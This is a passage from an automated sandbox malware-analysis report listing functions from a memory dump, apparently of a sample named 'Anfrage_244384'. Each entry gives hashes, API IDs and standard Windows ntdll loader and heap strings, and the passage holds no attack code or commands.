                                                          • Opcode Fuzzy Hash: 2a48bdd4d8ea14c469ad441b94cf96c101b09c67394ceba66eb56f2a3b9e53c1
                                                          • Instruction Fuzzy Hash: 7A0223B5608341AFD714CF29C494A6ABBE6EFC8710F50892DF9849B360DB35E905CB52
                                                          Function 346BB5EC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 238COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: __aulldvrm
                                                          • String ID: +$-$0$0
                                                          • API String ID: 1302938615-699404926
                                                          • Opcode ID: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                                                          • Instruction ID: 0d4918bb86ca9ddf814a4ef09ca7a5850935e574e91095ad1c05830bc416cff6
                                                          • Opcode Fuzzy Hash: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
                                                          • Instruction Fuzzy Hash: B9810378F013598EEF04CF6AC8917EEBBB1AF55B50F54412ED8E0A7A91DB308840CB52
                                                          Function 34679126 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 199timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: $$@
                                                          • API String ID: 3446177414-1194432280
                                                          • Opcode ID: 770c58acc04a1f8f934d3cfa8351f61c857d6c24199c33d5535f5e0e47e3a3db
                                                          • Instruction ID: 8cf97e760641b13827a57551244cedc9d69d6df646662fd8e8bd5c95b4379821
                                                          • Opcode Fuzzy Hash: 770c58acc04a1f8f934d3cfa8351f61c857d6c24199c33d5535f5e0e47e3a3db
                                                          • Instruction Fuzzy Hash: F88129B5D00269DFEB21CF54CC44BDAB7B8AF09750F1041EAA91AB7240E7309E85CFA5
                                                          Function 346A4D1D Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 117timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          • LdrpFindDllActivationContext, xrefs: 346E3636, 346E3662
                                                          • minkernel\ntdll\ldrsnap.c, xrefs: 346E3640, 346E366C
                                                          • Querying the active activation context failed with status 0x%08lx, xrefs: 346E365C
                                                          • Probing for the manifest of DLL "%wZ" failed with status 0x%08lx, xrefs: 346E362F
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: LdrpFindDllActivationContext$Probing for the manifest of DLL "%wZ" failed with status 0x%08lx$Querying the active activation context failed with status 0x%08lx$minkernel\ntdll\ldrsnap.c
                                                          • API String ID: 3446177414-3779518884
                                                          • Opcode ID: a6415a67b741244a2ac7027aea53ce2f0bba23630a0cc1e86dae4dd232228fc4
                                                          • Instruction ID: 172a1604456079f70c20112dfc465ede69fe2fe1dd658c77657257993a2e0cdf
                                                          • Opcode Fuzzy Hash: a6415a67b741244a2ac7027aea53ce2f0bba23630a0cc1e86dae4dd232228fc4
                                                          • Instruction Fuzzy Hash: AD31E6F6A00B11FFEB11BF14CC88A6573A9EB517A4F42416FE40467661DBA09CC0CA97
                                                          Function 3469245A Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 111COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • LdrpDynamicShimModule, xrefs: 346DA998
                                                          • Getting ApphelpCheckModule failed with status 0x%08lx, xrefs: 346DA992
                                                          • TGd4, xrefs: 34692462
                                                          • minkernel\ntdll\ldrinit.c, xrefs: 346DA9A2
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: Getting ApphelpCheckModule failed with status 0x%08lx$LdrpDynamicShimModule$TGd4$minkernel\ntdll\ldrinit.c
                                                          • API String ID: 0-3495290341
                                                          • Opcode ID: 962b3f37a03917c992b73430c7870ab126f3678a909a35fb26b255a58a13ccf0
                                                          • Instruction ID: c4e17fa18a7c5d5b98db2b5d1a64e2561122e4e3f52f4257e4e77aaee68a3ac6
                                                          • Opcode Fuzzy Hash: 962b3f37a03917c992b73430c7870ab126f3678a909a35fb26b255a58a13ccf0
                                                          • Instruction Fuzzy Hash: 9B3159B5600302EFE7108FADCC80EDA77BAFB95B54F550159E8057B250CBB49882CF85
                                                          Function 347220E0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 84COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: ___swprintf_l
                                                          • String ID: %%%u$[$]:%u
                                                          • API String ID: 48624451-2819853543
                                                          • Opcode ID: 5bc480b8dbed2aee9a4bbcfcfafe03df90f4b390e647e0e47b125042b25764ff
                                                          • Instruction ID: 13f81428788f22a87136e305fcbfccd3c930d815647349a832bf7b0b919d3493
                                                          • Opcode Fuzzy Hash: 5bc480b8dbed2aee9a4bbcfcfafe03df90f4b390e647e0e47b125042b25764ff
                                                          • Instruction Fuzzy Hash: F62133BAA0011DAFDB10DEA9CC44EEE7BE9EF54654F54011AE945E7200E730DA058BA5
                                                          Function 3466F910 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 263timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: (HeapHandle != NULL)$HEAP: $HEAP[%wZ]:
                                                          • API String ID: 3446177414-3610490719
                                                          • Opcode ID: 43d8b0a9c2d188c92441b919d2ed38c0eed311e42b6e2dfa3c9b1d6ab2787874
                                                          • Instruction ID: 9741f0974b4a7a084970df7c6697bbda9f1c5662074ae7808c1008bc19e78ac9
                                                          • Opcode Fuzzy Hash: 43d8b0a9c2d188c92441b919d2ed38c0eed311e42b6e2dfa3c9b1d6ab2787874
                                                          • Instruction Fuzzy Hash: 1691FC75700741DFE719CF24C884B6EB7ADFF94A48F00056AE8469B381DB38AC45CBA6
                                                          Function 34690BCB Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 210timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          • minkernel\ntdll\ldrinit.c, xrefs: 346DA121
                                                          • Failed to allocated memory for shimmed module list, xrefs: 346DA10F
                                                          • LdrpCheckModule, xrefs: 346DA117
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: Failed to allocated memory for shimmed module list$LdrpCheckModule$minkernel\ntdll\ldrinit.c
                                                          • API String ID: 3446177414-161242083
                                                          • Opcode ID: ab60572c20d1d5939c627dc4947d1523c5b14ca7c048b514c32850aa0fde15b0
                                                          • Instruction ID: 3915e57279c022e3d73ac6760d83c61f3f738645dfaeb12be2ec8945b8de0d73
                                                          • Opcode Fuzzy Hash: ab60572c20d1d5939c627dc4947d1523c5b14ca7c048b514c32850aa0fde15b0
                                                          • Instruction Fuzzy Hash: FF71CDB4A00705DFEB14DF68CD80AEEB7F6EB58348F18406DD806EB250E778A946CB55
                                                          Function 34748927 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 187timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: $File
                                                          • API String ID: 3446177414-2412145507
                                                          • Opcode ID: 1697c721d90e5cc4374e2c8afb9aa52bf4e69cd4a1986bba5fd76c6a512ed1f5
                                                          • Instruction ID: 7ae6085632fa06bfe729e45556066e85b8583f4be8baa9c36882ae2749ad4f00
                                                          • Opcode Fuzzy Hash: 1697c721d90e5cc4374e2c8afb9aa52bf4e69cd4a1986bba5fd76c6a512ed1f5
                                                          • Instruction Fuzzy Hash: DF61BF75A1021C9FEF268F25CC45BE9B7B9AF08700F0445E9E549EA281DB709F84CF54
                                                          Function 346AC720 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 141timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          • Failed to reallocate the system dirs string !, xrefs: 346E82D7
                                                          • minkernel\ntdll\ldrinit.c, xrefs: 346E82E8
                                                          • LdrpInitializePerUserWindowsDirectory, xrefs: 346E82DE
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: Failed to reallocate the system dirs string !$LdrpInitializePerUserWindowsDirectory$minkernel\ntdll\ldrinit.c
                                                          • API String ID: 3446177414-1783798831
                                                          • Opcode ID: cc660ed109f15a7ec69c6bbee7c5ae131b93627a83daf8e1e289fb9a1b84dbcb
                                                          • Instruction ID: 635647f890c9a65ac77b0e63355b56939c326a9441226d4d5058b803ad42ef48
                                                          • Opcode Fuzzy Hash: cc660ed109f15a7ec69c6bbee7c5ae131b93627a83daf8e1e289fb9a1b84dbcb
                                                          • Instruction Fuzzy Hash: 8441ECF5505300EFE720DF68CA44B9B77E9EB45650F40092AF949A32A1EB78D8018F9A
                                                          Function 346ABED0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          • RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 346E7B7F
                                                          • RTL: Resource at %p, xrefs: 346E7B8E
                                                          • RTL: Re-Waiting, xrefs: 346E7BAC
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                                                          • API String ID: 0-871070163
                                                          • Opcode ID: bdf5bfa295abc2919467df8eff9cf5cdfed53435236fd43076617a8c63744fd5
                                                          • Instruction ID: 04182786ba41a56c93c3b47942a4077acac4df8f5446692e41e21f4c3246f9e3
                                                          • Opcode Fuzzy Hash: bdf5bfa295abc2919467df8eff9cf5cdfed53435236fd43076617a8c63744fd5
                                                          • Instruction Fuzzy Hash: 8641F475711B029FE720CE25DD40B5AB7E5EF98B21F000A1DFA969B780DB31E8458F92
                                                          Function 346AB4C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 346E728C
                                                          Strings
                                                          • RTL: Resource at %p, xrefs: 346E72A3
                                                          • RTL: Re-Waiting, xrefs: 346E72C1
                                                          • RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 346E7294
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
                                                          • String ID: RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
                                                          • API String ID: 885266447-605551621
                                                          • Opcode ID: 08eda0f8d984d8f260d5041a93e4734b333d5168bf05d2cc98c8539f57bfa6a2
                                                          • Instruction ID: 425fa7b714aa7fefdf5d827a51482418b319efd2ff6478ca9a84ff643c4ab612
                                                          • Opcode Fuzzy Hash: 08eda0f8d984d8f260d5041a93e4734b333d5168bf05d2cc98c8539f57bfa6a2
                                                          • Instruction Fuzzy Hash: FD412275701706AFE720CE61CD40B6AB7E5FF54B61F10061DFA85AB240DB21E8468BD2
                                                          Function 346F4755 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          • LdrpCheckRedirection, xrefs: 346F488F
                                                          • Import Redirection: %wZ %wZ!%s redirected to %wZ, xrefs: 346F4888
                                                          • minkernel\ntdll\ldrredirect.c, xrefs: 346F4899
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: Import Redirection: %wZ %wZ!%s redirected to %wZ$LdrpCheckRedirection$minkernel\ntdll\ldrredirect.c
                                                          • API String ID: 3446177414-3154609507
                                                          • Opcode ID: 69255944e49f41ed5163608279885036b3f3f4b3ad71f7e2976405e944cdbded
                                                          • Instruction ID: 3f94b02358e008d170a30f27f3a1574468622a23c60d654326b3e9d3e002175e
                                                          • Opcode Fuzzy Hash: 69255944e49f41ed5163608279885036b3f3f4b3ad71f7e2976405e944cdbded
                                                          • Instruction Fuzzy Hash: 3F41CF76A087509FDB11CE58CC40A567BE9FF69790F41056DECD8A7B21D722E800CB82
                                                          Function 34722300 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 90COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: ___swprintf_l
                                                          • String ID: %%%u$]:%u
                                                          • API String ID: 48624451-3050659472
                                                          • Opcode ID: 8eb7be8442902e1ce54b34a4b26cbacd6eae62c21f2c1ddfb9dc11d58a32119c
                                                          • Instruction ID: c3bba5c498b2ffab4f5f7f2a0ac6ba6d3bfba84f352c7e51433f5b1c91147c42
                                                          • Opcode Fuzzy Hash: 8eb7be8442902e1ce54b34a4b26cbacd6eae62c21f2c1ddfb9dc11d58a32119c
                                                          • Instruction Fuzzy Hash: EB314176A00619AFDB10CE29CC40BEF77E9EF44650F90455AE849E7241EB30EA458FA1
                                                          Function 346F5F10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID: Wow64 Emulation Layer
                                                          • API String ID: 3446177414-921169906
                                                          • Opcode ID: 3fee311c52b0095b4916122265b53ed504ac7ad470595ad1cb6cb6bb1f634a07
                                                          • Instruction ID: f07e5b5d252bd8891d0a0339370d5ba4c2cde2289f9454638ea65795b4af55e0
                                                          • Opcode Fuzzy Hash: 3fee311c52b0095b4916122265b53ed504ac7ad470595ad1cb6cb6bb1f634a07
                                                          • Instruction Fuzzy Hash: 492108B690021DFFAF019EA1DC88CEF7B7DEF442A8B0400A4FA15A6101DB319E059F64
                                                          Function 34747CD6 Relevance: 6.4, APIs: 4, Instructions: 397timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID:
                                                          • API String ID: 3446177414-0
                                                          • Opcode ID: e8b86f521131c2a67ff9310f51952d087cc3cba6d18725da54c8fa728cacf70e
                                                          • Instruction ID: 6765b2f87c2162f41526495e6ef6bfbedfbdafd3e564ea837aa20a6e038f4e65
                                                          • Opcode Fuzzy Hash: e8b86f521131c2a67ff9310f51952d087cc3cba6d18725da54c8fa728cacf70e
                                                          • Instruction Fuzzy Hash: DCE16D75A10309EFEB15CFA4C881BFEBBB9AF48354F10852AE915AB390D7709A45CB50
                                                          Function 3469EF28 Relevance: 6.3, APIs: 4, Instructions: 347COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: a847b45efad691aa760cec01140b0e255f3330b77076c5fc7b3a02be9a701617
                                                          • Instruction ID: dc3d23a8277d8d0f1d33e0b879a044a1ebda0d77c5e9d1ad8dbafe4e2473f336
                                                          • Opcode Fuzzy Hash: a847b45efad691aa760cec01140b0e255f3330b77076c5fc7b3a02be9a701617
                                                          • Instruction Fuzzy Hash: 5DE1FF74E00708DFEB29CFA9C980A9DBBF9FF58314F21452AE545A7260DBB0A841CF55
                                                          Function 346EEF50 Relevance: 6.2, APIs: 4, Instructions: 187timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID:
                                                          • API String ID: 3446177414-0
                                                          • Opcode ID: b663eedeaaf8dba84f5e0706b99934df70f8f7759ff6a1491cc94dfc51243fe9
                                                          • Instruction ID: 1ad02f085e3d3389cb5503674a54a1fd36f5b0fdfbb700b1b394da4eb3d49010
                                                          • Opcode Fuzzy Hash: b663eedeaaf8dba84f5e0706b99934df70f8f7759ff6a1491cc94dfc51243fe9
                                                          • Instruction Fuzzy Hash: A6713971E01219EFDF09CFA4CA80AEDBBF9BF48394F144029E905AB290D7359945CF55
                                                          Function 3474A4CA Relevance: 6.2, APIs: 4, Instructions: 170timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID:
                                                          • API String ID: 3446177414-0
                                                          • Opcode ID: b6803edc0f645bd7401f95b9aa24ac75dc9f7ccffff67a0e994f8b28bd91433e
                                                          • Instruction ID: a16b5b66eda169c83c528730821038a53c5e7b8ccbb07d97de48f5eccbf3e142
                                                          • Opcode Fuzzy Hash: b6803edc0f645bd7401f95b9aa24ac75dc9f7ccffff67a0e994f8b28bd91433e
                                                          • Instruction Fuzzy Hash: DB5158797006129FEB08CE59C6A6A29B7F6FB88350B20416DE906EB710DB74EC41CB80
                                                          Function 346EF1D6 Relevance: 6.2, APIs: 4, Instructions: 150timeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes
                                                          • String ID:
                                                          • API String ID: 3446177414-0
                                                          • Opcode ID: 1fdeb275c5dc70e85524fa09970cfb5ba095c5300e66c718c7a35003496933ad
                                                          • Instruction ID: c6ea8d95eef5ccf4fa55896c14d4af02f08f6140973ecbe8399d1bc57ac6640c
                                                          • Opcode Fuzzy Hash: 1fdeb275c5dc70e85524fa09970cfb5ba095c5300e66c718c7a35003496933ad
                                                          • Instruction Fuzzy Hash: FC5122B5E01219EFEF08CF95D9446EDBBF9BF48391F14812AE805AB290D7349981CF54
                                                          Function 346A7B2F Relevance: 6.1, APIs: 4, Instructions: 81timethreadCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000004.00000002.3033206658.0000000034640000.00000040.00001000.00020000.00000000.sdmp, Offset: 34640000, based on PE: true
                                                          • Associated: 00000004.00000002.3033206658.0000000034769000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.000000003476D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000004.00000002.3033206658.00000000347DE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_4_2_34640000_Anfrage_244384.jbxd
                                                          Similarity
                                                          • API ID: DebugPrintTimes$BaseInitThreadThunk
                                                          • String ID:
                                                          • API String ID: 4281723722-0
                                                          • Opcode ID: f5d47bb90270f0a4fe124dffd0a9df3a23f72feda1905afa653970e53bf36bcf
                                                          • Instruction ID: f3e0b517419df9733edcfaaeb8dbd037e78097ea1bf945cddb9cd89788d5d73f
